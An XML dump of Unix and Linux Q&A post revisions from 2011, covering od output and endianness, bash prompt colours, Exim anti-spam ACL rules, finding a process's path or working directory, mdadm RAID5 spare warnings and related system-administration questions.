  <row Id="20060" PostHistoryTypeId="2" PostId="8506" RevisionGUID="27affafc-e8f9-4287-859b-4b65a02c74c9" CreationDate="2011-03-02T23:51:13.413" UserId="885" Text="For &lt;strike&gt;hysterical &lt;/strike&gt;historical reasons, `od` prints two-byte words¹ by default.&#xD;&#xA;&#xD;&#xA;The number 020061 (octal) corresponds to the two-byte sequence `1␣` (`␣` is a space character). Why? It's clearer if you use hexadecimal: 0o20061 = 0x2031, and `␣` is 0x20 (32) in ASCII and `1` is 0x31 (49). Notice that the lower-order bits (0x31) correspond to the first character and the higher-order bits correspond to the second character: od is assembling the words in [*little-endian*](http://en.wikipedia.org/wiki/Endianness) order, because that happens to be your system's endianness.²&#xD;&#xA;&#xD;&#xA;Little-endian order is not very natural here because one of the output formats (`-c`) prints characters, the other one (`-o`) prints words. Each word is printed as a number in the usual *big-endian* notation (the most significant digit comes first in our left-to-right reading order). This is even more apparent in hexadecimal where the byte boundaries are clearly apparent in the numerical output:&#xD;&#xA;&#xD;&#xA;    echo '1 text' | od -xc   &#xD;&#xA;    0000000 2031 6574 7478 000a&#xD;&#xA;             1    t e  x t \n\0&#xD;&#xA;&#xD;&#xA;If you prefer to view the file as a sequence of bytes, use `od -t x1` (or `hd` if you have it).&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;Once upon a time, men were real men, computers were real computers, numbers were often written in octal, and words were two bytes long.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;² &lt;sub&gt;&#xD;&#xA;All PCs (x86, x86-64) are little-endian, as was the [PDP-11](http://en.wikipedia.org/wiki/PDP-11) where Unix started. ARM CPUs can cope with either endianness but Linux and iOS use it in little-endian mode. So most of the platforms you're likely to encounter nowadays are little-endian.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="20061" PostHistoryTypeId="5" PostId="8490" RevisionGUID="6f41571e-5148-49ae-9eb6-b4540838f387" CreationDate="2011-03-02T23:53:08.140" UserId="885" Comment="generalized title; formatting" Text="This seems very strange to me. I'm running kernel 2.6.37.2 and ran:&#xD;&#xA;&#xD;&#xA;    ~]$ cp -r /proc/ here&#xD;&#xA;    ~]$ rm -rf here&#xD;&#xA;&#xD;&#xA;I get some permission denies when copying as expected and I eventually hit Control-C. I get `Permission denied` on a lot of files when trying to remove the new directory and files.&#xD;&#xA;&#xD;&#xA;As a note, I found this weird behavior because a friend sent me a `.tgz` of a snapshot of his `/proc` dir. I extracted the directory and when I was finished looking through it I had the same problem.&#xD;&#xA;&#xD;&#xA;`rm -rf` as root does work.&#xD;&#xA;&#xD;&#xA;`lsattr` shows the e attribute (which is what all of my files/directories show).&#xD;&#xA;&#xD;&#xA;EDIT: Oh wow, I can't believe I didn't notice. The directories had no write permission on them o.o" />
  <row Id="20062" PostHistoryTypeId="4" PostId="8490" RevisionGUID="6f41571e-5148-49ae-9eb6-b4540838f387" CreationDate="2011-03-02T23:53:08.140" UserId="885" Comment="generalized title; formatting" Text="I can't remove a directory tree with rm -rf" />
  <row Id="20063" PostHistoryTypeId="6" PostId="8502" RevisionGUID="1a54f631-5039-4840-8b9e-8387731cb170" CreationDate="2011-03-02T23:55:34.847" UserId="885" Comment="edited tags" Text="étextöprocessingàéasciiàéodà" />
  <row Id="20065" PostHistoryTypeId="2" PostId="8507" RevisionGUID="9ea4e0dc-aa4c-4d07-a8fa-a328d7f9194c" CreationDate="2011-03-03T00:14:49.620" UserId="885" Text="When you run `PS1='${RED}\h $(get_path) ${exitStatus}${NONE} '`, the `PS1` variable is set to `${RED}\h $(get_path) ${exitStatus}${NONE} `, where only `\h` is a prompt escape sequence. *After* the prompt sequences are expanded (yielding `${RED}darkstar $(get_path) ${exitStatus}${NONE} `), the shell performs the usual expansions such as variable expansions. You get a displayed prompt that looks like `\e[1;31mdarkstar PATH 0\e[m`. Nothing along the way expands the `\e` sequences to actual escape characters.&#xD;&#xA;&#xD;&#xA;When you run `PS1=&quot;${RED}\h $(get_path) ${exitStatus}${NONE} &quot;`, the `PS1` variable is set to `\e[1;31m\h PATH 0\e[m `. The variables `RED`, `exitStatus` and `NONE` are expanded at the time of the assignment. Then the prompt contains three prompt escape sequences (`\e`, `\h`, and `\e` again). There are no shell variables to expand at this stage.&#xD;&#xA;&#xD;&#xA;In order to see colors, you need the color variables to contain actual escape characters. You can do it this way:&#xD;&#xA;&#xD;&#xA;    RED=$'\033[1;31m'&#xD;&#xA;    NONE=$'\033[m'&#xD;&#xA;    PS1='\[${RED}\]\h \w $?\[${NONE}\] '&#xD;&#xA;&#xD;&#xA;`$'…'` expands backslash-octal sequences and some backslash-letter sequences such as `\n`, but not including `\e`. I made three other changes to your prompt:&#xD;&#xA;&#xD;&#xA;* Use `\[…\]` around non-printing sequences such as color-changing commands. Otherwise your display will end up garbled because bash can't figure out the width of the prompt.&#xD;&#xA;* `\w` is a built-in escape sequence to print the current directory.&#xD;&#xA;* You don't need anything complicated to show `$?` in the prompt if you don't have a `PROMPT_COMMAND` in the first place.&#xD;&#xA;" />
  <row Id="20066" PostHistoryTypeId="2" PostId="8508" RevisionGUID="83c29638-9cb2-4713-a309-f93cf705e479" CreationDate="2011-03-03T00:41:03.910" UserId="4520" Text="I have noticed this pattern, but don't think much is getting through. Try this &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;  warn&#xD;&#xA;    message = Message identified as spam. If you think this is wrong, \&#xD;&#xA;        get in touch with postmaster&#xD;&#xA;    log_message = Possible spam with ${h_to:} as both from and to&#xD;&#xA;    !senders = ${if exists{CONFDIR/local_sender_whitelist}\&#xD;&#xA;                          {CONFDIR/local_sender_whitelist} {}}&#xD;&#xA;    condition = ${if eqi{$h_from:}{$h_to:}{true}}&#xD;&#xA;    control = freeze&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I use `control = freeze` to hold messages for inspection when I am testing rules.  If I find it accurate enough I change it to a deny rule. &#xD;&#xA;" />
  <row Id="20067" PostHistoryTypeId="5" PostId="8477" RevisionGUID="3181992f-294d-44ef-b362-9a166c50b9f4" CreationDate="2011-03-03T01:02:17.117" UserId="29" Comment="correct some wording" Text="No your source folder is not intact... On the same file system all `mv` does is add and remove directory entries. But on a different filesystem... I'm not sure at what point it unlinks the file, and whether it removes data as it goes... but once a file is moved, it is unlinked.&#xD;&#xA;&#xD;&#xA;This is unless of course you used a special option to `mv`. Some of which are mentioned in [this question]( http://unix.stackexchange.com/q/4936/29) which might interest you in the future." />
  <row Id="20068" PostHistoryTypeId="5" PostId="8508" RevisionGUID="62db0a18-2934-4010-aa60-8fe250bda849" CreationDate="2011-03-03T01:12:54.193" UserId="4520" Comment="Added results of checking my database of email" Text="I have noticed this pattern, but don't think much is getting through. Try this &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;  warn&#xD;&#xA;    message = Message identified as spam. If you think this is wrong, \&#xD;&#xA;        get in touch with postmaster&#xD;&#xA;    log_message = Possible spam with ${h_to:} as both from and to&#xD;&#xA;    !senders = ${if exists{CONFDIR/local_sender_whitelist}\&#xD;&#xA;                          {CONFDIR/local_sender_whitelist} {}}&#xD;&#xA;    condition = ${if eqi{$h_from:}{$h_to:}{true}}&#xD;&#xA;    control = freeze&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I use `control = freeze` to hold messages for inspection when I am testing rules.  If I find it accurate enough I change it to a deny rule. &#xD;&#xA;&#xD;&#xA;EDIT:  I tested this rule in my database of emails.  Using `zen.spamhaus.org` as a DNS blacklist catches almost all these cases (467 of 483).  Greylisting catches most of the rest (11 of 16).  I found five message made it past those to tests.  Of those three (60%) were legitimate email.  The others had helo names which where either hostnames or second level domains.  Adding a condition to check to ensure the helo name is at least a third level domain makes the rule reasonably safe.  I am testing with:&#xD;&#xA;&lt;pre&gt;    condition = ${if eq{${extract{3}{.}{$sender_helo_name}}}{}{true}}&lt;/pre&gt;&#xD;&#xA;" />
  <row Id="20069" PostHistoryTypeId="5" PostId="8504" RevisionGUID="42c52462-ddb4-49c3-a6d6-5666868b8b95" CreationDate="2011-03-03T01:21:22.510" UserId="3169" Comment="added 134 characters in body" Text="Try this:&#xD;&#xA;&#xD;&#xA;    ls -l /proc/8505/exe&#xD;&#xA;&#xD;&#xA;Or if you don't want to parse the output of `ls`, just do:&#xD;&#xA;&#xD;&#xA;    readlink /proc/8505/exe&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    realpath /proc/8505/exe&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20070" PostHistoryTypeId="5" PostId="8491" RevisionGUID="be7c4c5d-4a3b-486b-8dfd-ffcf415bf57e" CreationDate="2011-03-03T01:23:02.170" UserId="2769" Comment="added logs" Text="I've got local_acl_check_data to reject the typical spammer tactic of using the same address as From: and To:, but since some less-spammy sources, such as Yahoo Groups, do this, I'm using a whitelist as well. Here is the ACL:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;# block spammers who use the same &quot;from&quot; and &quot;to&quot; address&#xD;&#xA;accept&#xD;&#xA;    senders = ${if exists{CONFDIR/local_sender_whitelist}\&#xD;&#xA;                   {CONFDIR/local_sender_whitelist}\&#xD;&#xA;                   {}}&#xD;&#xA;deny&#xD;&#xA;    condition = ${if eqi{${address:$h_from:}}{${address:$h_to:}}{true}{false}}&#xD;&#xA;    log_message = rejecting spam with to:${address:$h_to:} and from:${address:$h_from:}&#xD;&#xA;    message = Message identified as spam. If you think this is wrong, get in touch with postmaster&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Problem is, when I test with:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;jcomeau@tektonic:~$ cat bin/testacl &#xD;&#xA;exim4 -bh 66.163.168.186 &amp;lt;&amp;lt;EOT&#xD;&#xA;helo tester&#xD;&#xA;mail from: PetalumaFreecycle@yahoogroups.com&#xD;&#xA;rcpt to: jc@example.com&#xD;&#xA;data&#xD;&#xA;from: PetalumaFreecycle@yahoogroups.com&#xD;&#xA;to: PetalumaFreecycle@yahoogroups.com&#xD;&#xA;subject: should be ok&#xD;&#xA;&#xD;&#xA;this one should not reject&#xD;&#xA;.&#xD;&#xA;mail from: PetalumaFreecycle@yahoo.com&#xD;&#xA;rcpt to: jc@example.com&#xD;&#xA;data&#xD;&#xA;from: PetalumaFreecycle@yahoo.com&#xD;&#xA;to: PetalumaFreecycle@yahoo.com&#xD;&#xA;subject: should reject&#xD;&#xA;&#xD;&#xA;this one should be rejected&#xD;&#xA;.&#xD;&#xA;quit&#xD;&#xA;EOT&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;It works as expected: the first message is accepted because it found yahoogroups.com in the whitelist, and the second was rejected. But in real operation, the yahoogroups.com emails are rejected by that ACL along with the spammers. I'm using 4.72-6, and this has happened for all the versions I've been using for the last few years. I've run out of ideas.&#xD;&#xA;&#xD;&#xA;As requested, the log of exim4 rejecting a message which should have passed:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;jcomeau@tektonic:~$ grep -C2 Freecycle /var/log/exim4/rejectlog&#xD;&#xA;2011-02-25 09:52:00 1Psz1U-00020g-79 H=n52c.bullet.mail.sp1.yahoo.com [66.163.168.186] F=&amp;lt;sentto-15991578-2122-1298645513-jc=example.com@returns.groups.yahoo.com&gt; rejected after DATA: rejecting spam with to:PetalumaFreecycle@yahoogroups.com and from:PetalumaFreecycle@yahoogroups.com&#xD;&#xA;Envelope-from: &amp;lt;sentto-15991578-2122-1298645513-jc=example.com@returns.groups.yahoo.com&gt;&#xD;&#xA;Envelope-to: &amp;lt;jc@example.com&gt;&#xD;&#xA;--&#xD;&#xA;  MIME-Version: 1.0&#xD;&#xA;I Message-ID: &lt;1298645513.584.90148.m6@yahoogroups.com&gt;&#xD;&#xA;  Mailing-List: list PetalumaFreecycle@yahoogroups.com; contact PetalumaFreecycle-owner@yahoogroups.com&#xD;&#xA;  Delivered-To: mailing list PetalumaFreecycle@yahoogroups.com&#xD;&#xA;  List-Id: &amp;lt;PetalumaFreecycle.yahoogroups.com&gt;&#xD;&#xA;  Precedence: bulk&#xD;&#xA;  List-Unsubscribe: &amp;lt;mailto:PetalumaFreecycle-unsubscribe@yahoogroups.com&gt;&#xD;&#xA;  Date: 25 Feb 2011 14:51:53 -0000&#xD;&#xA;F From: PetalumaFreecycle@yahoogroups.com&#xD;&#xA;T To: PetalumaFreecycle@yahoogroups.com&#xD;&#xA;  Subject: [Petaluma Freecycle] Digest Number 2122&#xD;&#xA;  X-Yahoo-Newman-Property: groups-digest-trad-m&#xD;&#xA;R Reply-To: &quot;No Reply&quot;&amp;lt;notify-dg-PetalumaFreecycle@yahoogroups.com&gt;&#xD;&#xA;  Content-Type: text/plain; charset=ISO-8859-1&#xD;&#xA;  Content-Transfer-Encoding: quoted-printable&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And here's what my testacl script shows for the first test:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&gt;&gt;&gt; using ACL &quot;acl_check_data&quot;&#xD;&#xA;&gt;&gt;&gt; processing &quot;accept&quot;&#xD;&#xA;&gt;&gt;&gt; check senders = ${if exists{/etc/exim4/local_sender_whitelist}{/etc/exim4/local_sender_whitelist}{}}&#xD;&#xA;&gt;&gt;&gt; yahoogroups.com in &quot;yahoogroups.com&quot;? yes (matched &quot;yahoogroups.com&quot;)&#xD;&#xA;&gt;&gt;&gt; PetalumaFreecycle@yahoogroups.com in &quot;/etc/exim4/local_sender_whitelist&quot;? yes (matched &quot;yahoogroups.com&quot; in /etc/exim4/local_sender_whitelist)&#xD;&#xA;&gt;&gt;&gt; accept: condition test succeeded&#xD;&#xA;LOG: 1PuxAz-0005jZ-B0 &amp;lt;= PetalumaFreecycle@yahoogroups.com H=n52c.bullet.mail.sp1.yahoo.com (tester) [66.163.168.186] P=smtp S=380&#xD;&#xA;250 OK id=1PuxAz-0005jZ-B0&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="20071" PostHistoryTypeId="2" PostId="8509" RevisionGUID="0f479f6a-1e96-4d27-9653-963b2a90deab" CreationDate="2011-03-03T02:16:13.563" UserId="3169" Text="Gilles identified your main problem, but I wanted to try explaining it differently.&#xD;&#xA;&#xD;&#xA;Bash is effectively calling `echo` on your `PS1`, not `echo -e`.&#xD;&#xA;&#xD;&#xA;So you can change your definition of `GREEN`, `RED`, and `NONE`, so their value is the actual escape sequence.&#xD;&#xA;&#xD;&#xA;    GREEN=$'\033[1;32m'&#xD;&#xA;    RED=$'\033[1;31m'&#xD;&#xA;    NONE=$'\033[m'&#xD;&#xA;&#xD;&#xA;If you do that, your first `PS1` with the single quotes should work:&#xD;&#xA;&#xD;&#xA;    PS1='${RED}\h $(get_path) ${exitStatus}${NONE} '&#xD;&#xA;&#xD;&#xA;However, then you will have a second problem.&#xD;&#xA;&#xD;&#xA;Try running that, then press &lt;kbd&gt;Up Arrow&lt;/kbd&gt;, then &lt;kbd&gt;Home&lt;/kbd&gt;, and your cursor will not go back to the start of the line.&#xD;&#xA;&#xD;&#xA;To fix that, change `PS1` to include `\[` and `\]` around the color escape sequences, e.g.&#xD;&#xA;&#xD;&#xA;    PS1='\[${RED}\]\h $(get_path) \[${exitStatus}\]\[${NONE}\] '&#xD;&#xA;" />
  <row Id="20072" PostHistoryTypeId="25" PostId="8502" RevisionGUID="34c3fb6f-ff94-459a-b6d1-904b8f51f0f6" CreationDate="2011-03-03T02:23:33.630" Comment="http://twitter.com/#!/StackUnix/status/43134385385504768" />
  <row Id="20073" PostHistoryTypeId="5" PostId="8509" RevisionGUID="492954f6-5f08-4bc9-91df-998ce2ad28b9" CreationDate="2011-03-03T02:23:43.950" UserId="3169" Comment="added 588 characters in body; added 68 characters in body" Text="Gilles identified your main problem, but I wanted to try explaining it differently.&#xD;&#xA;&#xD;&#xA;Bash is effectively calling `echo` on your `PS1`, not `echo -e`.&#xD;&#xA;&#xD;&#xA;So it's like you're doing:&#xD;&#xA;&#xD;&#xA;    echo '\e[1;32m${HOME}\e[m'&#xD;&#xA;&#xD;&#xA;If you try running that, you will see it doesn't work.&#xD;&#xA;&#xD;&#xA;But bash gives you a way to write special characters that doesn't require using `echo -e`.  It looks like `$'\octal number'`.&#xD;&#xA;&#xD;&#xA;The special character in all the escape sequences is `\e`, which just means Escape.  Escape's octal value is `\033`.&#xD;&#xA;&#xD;&#xA;So we want it to expand to this instead:&#xD;&#xA;&#xD;&#xA;    echo $'\033[1;31m'&quot;${HOME}&quot;$'\033[m'&#xD;&#xA;&#xD;&#xA;To do this, you can change your definition of `GREEN`, `RED`, and `NONE`, so their value is the actual escape sequence.&#xD;&#xA;&#xD;&#xA;    GREEN=$'\033[1;32m'&#xD;&#xA;    RED=$'\033[1;31m'&#xD;&#xA;    NONE=$'\033[m'&#xD;&#xA;&#xD;&#xA;If you do that, your first `PS1` with the single quotes should work:&#xD;&#xA;&#xD;&#xA;    PS1='${RED}\h $(get_path) ${exitStatus}${NONE} '&#xD;&#xA;&#xD;&#xA;However, then you will have a second problem.&#xD;&#xA;&#xD;&#xA;Try running that, then press &lt;kbd&gt;Up Arrow&lt;/kbd&gt;, then &lt;kbd&gt;Home&lt;/kbd&gt;, and your cursor will not go back to the start of the line.&#xD;&#xA;&#xD;&#xA;To fix that, change `PS1` to include `\[` and `\]` around the color escape sequences, e.g.&#xD;&#xA;&#xD;&#xA;    PS1='\[${RED}\]\h $(get_path) \[${exitStatus}\]\[${NONE}\] '&#xD;&#xA;&#xD;&#xA;And it should all be working.&#xD;&#xA;&#xD;&#xA;(I'm not sure why putting `\[` around `${exitStatus}` works, because the exit status number shouldn't have those around it, but it seems to work for me.)" />
  <row Id="20074" PostHistoryTypeId="5" PostId="8509" RevisionGUID="f7a0d828-8ffd-4b57-832a-784079b5ee30" CreationDate="2011-03-03T02:44:19.383" UserId="3169" Comment="deleted 1 characters in body" Text="Gilles identified your main problem, but I wanted to try explaining it differently.&#xD;&#xA;&#xD;&#xA;Bash is effectively calling `echo` on your `PS1`, not `echo -e`.&#xD;&#xA;&#xD;&#xA;So it's like you're doing:&#xD;&#xA;&#xD;&#xA;    echo '\e[1;32m\h\e[m'&#xD;&#xA;&#xD;&#xA;If you try running that, you will see it doesn't work.&#xD;&#xA;&#xD;&#xA;But bash gives you a way to write special characters that doesn't require using `echo -e`.  It looks like `$'\octal number'`.&#xD;&#xA;&#xD;&#xA;The special character in all the escape sequences is `\e`, which just means Escape.  Escape's octal value is `\033`.&#xD;&#xA;&#xD;&#xA;So we want it to expand to this instead:&#xD;&#xA;&#xD;&#xA;    echo $'\033[1;31m'&quot;${HOSTNAME}&quot;$'\033[m'&#xD;&#xA;&#xD;&#xA;To do this, you can change your definition of `GREEN`, `RED`, and `NONE`, so their value is the actual escape sequence.&#xD;&#xA;&#xD;&#xA;    GREEN=$'\033[1;32m'&#xD;&#xA;    RED=$'\033[1;31m'&#xD;&#xA;    NONE=$'\033[m'&#xD;&#xA;&#xD;&#xA;If you do that, your first `PS1` with the single quotes should work:&#xD;&#xA;&#xD;&#xA;    PS1='${RED}\h $(get_path) ${exitStatus}${NONE} '&#xD;&#xA;&#xD;&#xA;However, then you will have a second problem.&#xD;&#xA;&#xD;&#xA;Try running that, then press &lt;kbd&gt;Up Arrow&lt;/kbd&gt;, then &lt;kbd&gt;Home&lt;/kbd&gt;, and your cursor will not go back to the start of the line.&#xD;&#xA;&#xD;&#xA;To fix that, change `PS1` to include `\[` and `\]` around the color escape sequences, e.g.&#xD;&#xA;&#xD;&#xA;    PS1='\[${RED}\]\h $(get_path) \[${exitStatus}\]\[${NONE}\] '&#xD;&#xA;&#xD;&#xA;And it should all be working.&#xD;&#xA;&#xD;&#xA;(I'm not sure why putting `\[` around `${exitStatus}` works, because the exit status number shouldn't have those around it, but it seems to work for me.)" />
  <row Id="20075" PostHistoryTypeId="5" PostId="8119" RevisionGUID="7fdf7383-e887-435f-b133-dfe4cae75894" CreationDate="2011-03-03T04:03:31.127" UserId="688" Comment="deleted 4 characters in body" Text="Install [nmap][1] and run `nmap -sP &lt;mynetwork&gt;`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://nmap.org/" />
  <row Id="20076" PostHistoryTypeId="25" PostId="8485" RevisionGUID="6b31143c-71b4-4670-81af-c317b66f49cf" CreationDate="2011-03-03T05:23:33.647" Comment="http://twitter.com/#!/StackUnix/status/43179684334272512" />
  <row Id="20077" PostHistoryTypeId="2" PostId="8510" RevisionGUID="8ec66a17-b223-4cc9-889f-4aed151c4a95" CreationDate="2011-03-03T05:31:01.207" UserId="4485" Text="I start mousepad from the shell:&#xD;&#xA;&#xD;&#xA;    mousepad &amp; &#xD;&#xA;    [1] 24289&#xD;&#xA;&#xD;&#xA;check, where it comes from: &#xD;&#xA;&#xD;&#xA;    which mousepad &#xD;&#xA;       /usr/bin/mousepad&#xD;&#xA;&#xD;&#xA;start it with path:&#xD;&#xA;&#xD;&#xA;    /usr/bin/mousepad &amp;&#xD;&#xA;&#xD;&#xA;look via ps:&#xD;&#xA;&#xD;&#xA;    ps v -C mousepad &#xD;&#xA;      PID TTY      STAT   TIME  MAJFL   TRS   DRS   RSS %MEM COMMAND&#xD;&#xA;    24289 pts/3    S      0:00      3    62 85441 10964  1.0 mousepad&#xD;&#xA;    24292 pts/3    S      0:00      0    62 85433 10864  1.0 /usr/bin/mousepad&#xD;&#xA;&#xD;&#xA;As we see, the one invoked without path is displayed without path, and started with the PATH, and therefore to be found by&#xD;&#xA;&#xD;&#xA;    which mousepad&#xD;&#xA;&#xD;&#xA;Simple as that, isn't it? &#xD;&#xA;Wait!&#xD;&#xA;What if I start mousepad from the menu? Well, it might be specified with or without using the PATH settings. I tried. &#xD;&#xA;A normal start leads to a simple 'mousepad' in `ps v -C`. Since ~/bin is the first part of my PATH I create a dummy there, and, voila, the dummy is started from the menu. &#xD;&#xA;&#xD;&#xA;But what if you start a program which deletes itself? Which will not find the deleted program and report a wrong one, if there is a second in the path. &#xD;&#xA;&#xD;&#xA;So that's a race condition. If you know that your programs don't delete themselves or aren't moved while you're investigating their location, `ps v -C NAME` and `which NAME` should work pretty well. " />
  <row Id="20078" PostHistoryTypeId="13" PostId="8497" RevisionGUID="43b15b95-7ba0-4dfd-824e-90f5f8123980" CreationDate="2011-03-03T05:32:31.237" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="20079" PostHistoryTypeId="5" PostId="8497" RevisionGUID="9b60ed68-4869-400f-aef3-e7e517a2ffed" CreationDate="2011-03-03T05:32:38.693" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [How do I find out what hard disks are in the system?](http://unix.stackexchange.com/questions/4561/how-do-i-find-out-what-hard-disks-are-in-the-system)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm running a CentOS 5.5 system. This system has 4 disks and a 3ware RAID controller. How can I determine the make and model of my drives?&#xD;&#xA;&#xD;&#xA;`/proc/scsi/scsi` and `parted --list` shows the RAID controller (3ware 9650SE-4LP):&#xD;&#xA;&#xD;&#xA;    # cat /proc/scsi/scsi &#xD;&#xA;    Attached devices:&#xD;&#xA;    Host: scsi0 Channel: 00 Id: 00 Lun: 00&#xD;&#xA;      Vendor: AMCC     Model: 9650SE-4LP DISK  Rev: 4.06&#xD;&#xA;      Type:   Direct-Access                    ANSI SCSI revision: 05&#xD;&#xA;&#xD;&#xA;    # parted --list&#xD;&#xA;    &#xD;&#xA;    Model: AMCC 9650SE-4LP DISK (scsi)&#xD;&#xA;    Disk /dev/sda: 2000GB&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20080" PostHistoryTypeId="10" PostId="8497" RevisionGUID="a6a4744c-464a-4a97-ae2f-771f28b55e35" CreationDate="2011-03-03T05:32:38.507" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="20081" PostHistoryTypeId="2" PostId="8511" RevisionGUID="acd49ac2-c591-4bd3-9c25-59ccdba63e6d" CreationDate="2011-03-03T06:29:36.460" UserId="5193" Text="Hi,&#xD;&#xA;&#xD;&#xA;I succesfully builded up a raid5 array on debian testing (Wheezy). As the manpages and further tell, the array would be created as an out of sync array with just a new spare injected to be repaired.&#xD;&#xA;That worked fine.&#xD;&#xA;But after the rebuild process, I get daily messages on missing spares - but the array should be raid5 over 3 discs without spare.&#xD;&#xA;I think, I only need to tell mdadm, that there is and should be no spare - but how to?&#xD;&#xA;`mdadm -D`gives&#xD;&#xA;&#xD;&#xA;    Active Devices:  3&#xD;&#xA;    Working Devices: 3&#xD;&#xA;    Failed Devices:  0&#xD;&#xA;    Spare Devices:   0&#xD;&#xA;&#xD;&#xA;and `/proc/mdstat` reads&#xD;&#xA;&#xD;&#xA;    md1: active raid5 sda3[0] sdc3[3] sdb3[1]&#xD;&#xA;    ##### blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]&#xD;&#xA;&#xD;&#xA;Any ideas? Thanks in advance&#xD;&#xA;" />
  <row Id="20082" PostHistoryTypeId="1" PostId="8511" RevisionGUID="acd49ac2-c591-4bd3-9c25-59ccdba63e6d" CreationDate="2011-03-03T06:29:36.460" UserId="5193" Text="mdadm Raid5 gives spares missing events" />
  <row Id="20083" PostHistoryTypeId="3" PostId="8511" RevisionGUID="acd49ac2-c591-4bd3-9c25-59ccdba63e6d" CreationDate="2011-03-03T06:29:36.460" UserId="5193" Text="édebianàéraidàésoftwareöraidàémdadmà" />
  <row Id="20085" PostHistoryTypeId="2" PostId="8513" RevisionGUID="bfb84f1a-3a7c-4104-844d-0381aaecd5d2" CreationDate="2011-03-03T07:23:27.800" UserId="2594" Text="Simply use:&#xD;&#xA;&#xD;&#xA;    pwdx $(pgrep xmms)&#xD;&#xA;&#xD;&#xA;eg:&#xD;&#xA;&#xD;&#xA;    $ pwdx $(pgrep ksh)&#xD;&#xA;    2904: /home/jlliagre&#xD;&#xA;    2906: /home/jlliagre&#xD;&#xA;    3844: /tmp&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20086" PostHistoryTypeId="25" PostId="8478" RevisionGUID="e5c45c8c-9265-4c5a-84d9-813b6989f137" CreationDate="2011-03-03T08:23:34.287" Comment="http://twitter.com/#!/StackUnix/status/43224985594118144" />
  <row Id="20087" PostHistoryTypeId="5" PostId="3322" RevisionGUID="9e988a58-8566-402a-a268-decfe85b6e2a" CreationDate="2011-03-03T08:40:35.843" UserId="688" Comment="rm repetition" Text="I know there are many differences between OSX and Linux, but what makes them so totally different, that makes them fundamentally incompatible?" />
  <row Id="20088" PostHistoryTypeId="5" PostId="8450" RevisionGUID="36e77fd3-c572-41d3-aeb8-ceb5b1a51809" CreationDate="2011-03-03T08:56:48.083" UserId="4814" Comment="edited title" Text="Hello,&#xD;&#xA;&#xD;&#xA;I would like to configure squid in such way, so that only specific (public) ip (reverse proxy), could connect to the server, but I don't know how... can someone tell me how to do this?" />
  <row Id="20089" PostHistoryTypeId="4" PostId="8450" RevisionGUID="36e77fd3-c572-41d3-aeb8-ceb5b1a51809" CreationDate="2011-03-03T08:56:48.083" UserId="4814" Comment="edited title" Text="squid (reverse proxy) configuration" />
  <row Id="20090" PostHistoryTypeId="5" PostId="6030" RevisionGUID="8b7c99d8-3808-446b-8a3e-db9a5f6c9f9d" CreationDate="2011-03-03T09:01:38.830" UserId="688" Comment="deleted 9 characters in body; edited title" Text="When I try to connect from a remote computer that is not in the local network via ssh I get into trouble...&#xD;&#xA;&#xD;&#xA;When I try to execute a TUI application it hangs and I cant do anything... I type `./menu` and then nothing happens. However this program runs with no problem when connecting with ssh with a local IP (another computer in the local network).&#xD;&#xA;&#xD;&#xA;But this 100% same program is installed also on another computer. When connecting via ssh to the other computer with a remote IP I get no problem!&#xD;&#xA;&#xD;&#xA;**SOLUTION**  &#xD;&#xA;I increased the MTU value of my router" />
  <row Id="20091" PostHistoryTypeId="4" PostId="6030" RevisionGUID="8b7c99d8-3808-446b-8a3e-db9a5f6c9f9d" CreationDate="2011-03-03T09:01:38.830" UserId="688" Comment="deleted 9 characters in body; edited title" Text="ssh problems only when connecting from remote IP" />
  <row Id="20092" PostHistoryTypeId="5" PostId="5914" RevisionGUID="e842d6b5-662e-484a-b2e2-bf60799b9120" CreationDate="2011-03-03T09:09:08.217" UserId="688" Comment="added 17 characters in body" Text="Assuming wget is in your path (if not, you’ll have to enter the full path) issue the following commands:&#xD;&#xA;&#xD;&#xA;    mkdir wget_files&#xD;&#xA;    cd wget_files&#xD;&#xA;    wget --mirror –-wait=2 --page-requisites --html-extension –-convert-links –-directory-prefix wget_files/example1 http://www.yourdomain.com" />
  <row Id="20093" PostHistoryTypeId="2" PostId="8514" RevisionGUID="23bf66b9-068b-4a95-8091-93784d8780fe" CreationDate="2011-03-03T10:48:58.887" UserId="4843" Text="Hello,&#xD;&#xA;I want to share the printer connected to Linux with Windows machine, so that windows-user can print to this Linux printer.&#xD;&#xA;&#xD;&#xA;How can I do this ?&#xD;&#xA;&#xD;&#xA;P.S. I followed the http://tldp.org/HOWTO/SMB-HOWTO-9.html, but it did not worked.&#xD;&#xA;&#xD;&#xA;I am using LFS-6.0 and windows machine is XP." />
  <row Id="20094" PostHistoryTypeId="1" PostId="8514" RevisionGUID="23bf66b9-068b-4a95-8091-93784d8780fe" CreationDate="2011-03-03T10:48:58.887" UserId="4843" Text="Sharing Linux Printer to windows" />
